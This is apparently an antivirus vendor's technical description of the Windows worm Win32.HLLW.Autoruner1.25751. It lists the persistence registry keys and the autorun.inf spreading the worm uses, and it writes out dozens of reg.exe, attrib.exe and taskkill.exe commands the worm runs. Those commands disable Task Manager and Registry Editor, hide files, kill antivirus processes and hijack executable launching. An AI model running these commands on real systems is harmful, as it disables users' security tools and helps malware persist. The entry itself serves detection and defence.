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Win32.HLLW.Autoruner1.25751
Added to the Dr.Web virus database:
2012-09-11
Virus description added:
2012-10-03
Technical Information
To ensure autorun and distribution:
Modifies the following registry keys:
[<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'msngms' = '<SYSTEM32>\ijava.exe'
[<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'msngms' = '<SYSTEM32>\bit.pif'
Creates the following files on removable media:
<Drive name for removable media>:\autorun.inf
Malicious functions:
To complicate detection of its presence in the operating system,
forces the system hide from view:
hidden files
file extensions
blocks execution of the following system utilities:
Windows Task Manager (Taskmgr)
Registry Editor (RegEdit)
Executes the following:
<SYSTEM32>\reg.exe add "HKCU\Control Panel\Desktop" /v WaitToKillAppTimeout /t "" /d 40000 /f
<SYSTEM32>\reg.exe add "HKCU\Control Panel\Desktop" /v HungAppTimeout /t "" /d 40000 /f
<SYSTEM32>\reg.exe add "HKCU\Control Panel\Desktop" /v MenuShowDelay /t "" /d 800 /f
<SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d "0" /f
<SYSTEM32>\reg.exe add "" /v "DiskSpaceThreshold" /t "" /d 95 /f
<SYSTEM32>\reg.exe add "HKCU\Control Panel\desktop" /v "WaitToKillAppTimeout" /d "40000" /F
<SYSTEM32>\reg.exe add "HKCU\Control Panel\desktop" /v "WaitToKillServiceTimeout" /d "40000" /F
<SYSTEM32>\reg.exe add "HKCU\Control Panel\desktop" /v "HungAppTimeout" /d "40000" /F
<SYSTEM32>\reg.exe add "Policiesregtype2" /d 1 /f
<SYSTEM32>\reg.exe add "HKCU\Control Panel\desktop" /v "AutoEndTasks" /d "0" /F
<SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d "1" /f
<SYSTEM32>\reg.exe add HKcU\Software\Microsoft\Windows\CurrentVersion\Policies\system /v disabletaskmgr /t REG_DWORD /d 1 /f
<SYSTEM32>\reg.exe add HKlm\Software\Microsoft\Windows\CurrentVersion\Policies\system /v disabletaskmgr /t REG_DWORD /d 1 /f
<SYSTEM32>\attrib.exe +R +S +H Z:\autorun.inf
<SYSTEM32>\attrib.exe +R +S +H X:\autorun.inf
<SYSTEM32>\attrib.exe +R +S +H Y:\autorun.inf
<SYSTEM32>\reg.exe add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL" /v CheckedValue /t reg_dword /d "1" /f
<SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v Hidden /t REG_DWORD /d "2" /f
<SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t reg_dword /d "1" /f
<SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoFolderOptions /t REG_DWORD /d "1" /f
<SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Windows\Currentversion\Policies\System" /v DisableTaskMgr /t reg_dword /d "1" /f
<SYSTEM32>\reg.exe add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
<SYSTEM32>\reg.exe add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v Hidden /t REG_DWORD /d 0 /f
<SYSTEM32>\reg.exe add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableMsConfig /t REG_DWORD /d 1 /f
<SYSTEM32>\reg.exe add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_ DWORD /d 1 /f
<SYSTEM32>\reg.exe add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFolderOptions /t REG_DWORD /d 1 /f
<SYSTEM32>\reg.exe add HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Polices\Explorer /v NoSaveSettings /T REG_DWORD /D 1 /F
<SYSTEM32>\reg.exe add HKCR\exefile\shell\open\command /v asd /t REG_SZ /d <SYSTEM32>\bit.pif /f
<SYSTEM32>\reg.exe add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT/CurrentVersion/Winlogon /v logonprompt /t REG_SZ /d Error: ;wd2gf3rRIFcy2cFRcfyRR. Java /F
<SYSTEM32>\reg.exe add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDesktop /t REG_DWORD /d 1 /f
<SYSTEM32>\reg.exe Add "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel" /v "HomePage" /t REG_DWORD /d 1 /f
<SYSTEM32>\reg.exe add "\Policies\Explorer" /v NoWinKeys /t "" /d 1 /f
<SYSTEM32>\reg.exe add "HKEY_CURRENT_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoCLose /t reg_dword /d 00000001 /f
<SYSTEM32>\reg.exe add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoTrayContextMenu /t reg_dword /d 00000001 /f
<SYSTEM32>\reg.exe add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NTCurrent\Version\Winlogon" /v LegalNoticeCaption /t reg_sz /d "Error: ;wd2gf3rRIFcy2cFRcfyRR" /f
<SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Control" /v "WaitToKillServiceTimeout" /d "40000" /F
<SYSTEM32>\reg.exe add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v LegalNoticeText /t reg_sz /d "Error: ;wd2gf3rRIFcy2cFRcfyRR" /f
<SYSTEM32>\reg.exe add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoWinKeys /t reg_dword /d 00000001 /f
<SYSTEM32>\reg.exe Add "HKCU\Software\Microsoft\Internet Explorer\Main" /v "Window Title" /t REG_SZ /d ".NET FrameworkError (1935)" /f
<SYSTEM32>\reg.exe add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoSetTaskbar /t reg_dword /d 00000001 /f
<SYSTEM32>\reg.exe add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoViewContextMenu /t reg_dword /d 00000001 /f
<SYSTEM32>\reg.exe add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoFileMenu /t reg_dword /d 00000001 /f
<SYSTEM32>\taskkill.exe /F /IM firefox.exe /IM firefox.exe
<SYSTEM32>\taskkill.exe /F /IM IEXPLORE.exe /IM IEXPLORE.exe
<SYSTEM32>\taskkill.exe /F /IM taskmgr.exe /IM taskmgr.exe
<SYSTEM32>\taskkill.exe /F /IM WINWORD.EXE /IM WINWORD.EXE
<SYSTEM32>\taskkill.exe /F /IM notepad.exe /IM notepad.exe
<SYSTEM32>\attrib.exe "E:\amx.exe" +s +r +h
<SYSTEM32>\attrib.exe "Z:\amx.exe" +s +r +h
<SYSTEM32>\attrib.exe "C:\amx.exe" +s +r +h
<SYSTEM32>\attrib.exe -h -s -r autorun.inf
<SYSTEM32>\attrib.exe -h -s -r amx.exe
<SYSTEM32>\taskkill.exe /F /IM wmplayer.exe /IM wmplayer.exe
<SYSTEM32>\taskkill.exe /F /IM msnmsgr.exe /IM msnmsgr.exe
<SYSTEM32>\taskkill.exe /F /IM nod32krm.exe /IM nod32krm.exe
<SYSTEM32>\reg.exe add "HKLM\software\microsoft\windows\currentversion\run" /v msngms /d "<SYSTEM32>\ijava.exe" /f
<SYSTEM32>\cmd.exe /c ""%TEMP%\1.tmp\amx.bat" "
<SYSTEM32>\reg.exe add "HKLM\software\microsoft\windows\currentversion\run" /v msngms /d "<SYSTEM32>\bit.pif" /f
<SYSTEM32>\taskkill.exe /F /IM avp.exe /IM avp.exe
<SYSTEM32>\taskkill.exe /F /IM POWERPNT.EXE /IM POWERPNT.EXE
<SYSTEM32>\taskkill.exe /F /IM avastSvc.exe /IM avastSvc.exe
<SYSTEM32>\taskkill.exe /F /IM nod32kui.exe /IM nod32kui.exe
<SYSTEM32>\taskkill.exe /F /IM avastui.exe /IM avastui.exe
<SYSTEM32>\attrib.exe +R +S +H Q:\autorun.inf
<SYSTEM32>\attrib.exe +R +S +H R:\autorun.inf
<SYSTEM32>\attrib.exe +R +S +H P:\autorun.inf
<SYSTEM32>\attrib.exe +R +S +H N:\autorun.inf
<SYSTEM32>\attrib.exe +R +S +H O:\autorun.inf
<SYSTEM32>\attrib.exe +R +S +H V:\autorun.inf
<SYSTEM32>\attrib.exe +R +S +H W:\autorun.inf
<SYSTEM32>\attrib.exe +R +S +H U:\autorun.inf
<SYSTEM32>\attrib.exe +R +S +H S:\autorun.inf
<SYSTEM32>\attrib.exe +R +S +H T:\autorun.inf
<SYSTEM32>\attrib.exe +R +S +H M:\autorun.inf
<SYSTEM32>\attrib.exe +R +S +H F:\autorun.inf
<SYSTEM32>\attrib.exe +R +S +H G:\autorun.inf
<SYSTEM32>\attrib.exe +R +S +H E:\autorun.inf
<SYSTEM32>\attrib.exe +R +S +H C:\autorun.inf
<SYSTEM32>\attrib.exe +R +S +H <Drive name for removable media>:\autorun.inf
<SYSTEM32>\attrib.exe +R +S +H K:\autorun.inf
<SYSTEM32>\attrib.exe +R +S +H L:\autorun.inf
<SYSTEM32>\attrib.exe +R +S +H J:\autorun.inf
<SYSTEM32>\attrib.exe +R +S +H H:\autorun.inf
<SYSTEM32>\attrib.exe +R +S +H I:\autorun.inf
Terminates or attempts to terminate
the following user processes:
firefox.exe
iexplore.exe
msnmsgr.exe
AVP.EXE
Modifies settings of Windows Explorer:
[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoSetTaskbar' = '00000001'
[<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer] 'NoRun' = '00000001'
[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoDesktop' = '00000001'
[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoFileMenu' = '00000001'
[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoFolderOptions' = '00000001'
[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoTrayContextMenu' = '00000001'
[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoViewContextMenu' = '00000001'
Modifies settings of Windows Internet Explorer:
[<HKCU>\Software\Microsoft\Internet Explorer\Main] 'Window Title' = '.NET FrameworkError (1935)'
Modifies file system :
Creates the following files:
<Current directory>\nvappbar.exe
<Current directory>\autorun.inf
C:\autorun.inf
%TEMP%\1.tmp\amx.bat
<Current directory>\KeyLogger.exe
<Current directory>\javaw.exe
Sets the 'hidden' attribute to the following files:
<Drive name for removable media>:\autorun.inf
C:\autorun.inf
Miscellaneous:
Searches for the following windows:
ClassName: 'Shell_TrayWnd' WindowName: ''
ClassName: '' WindowName: ''
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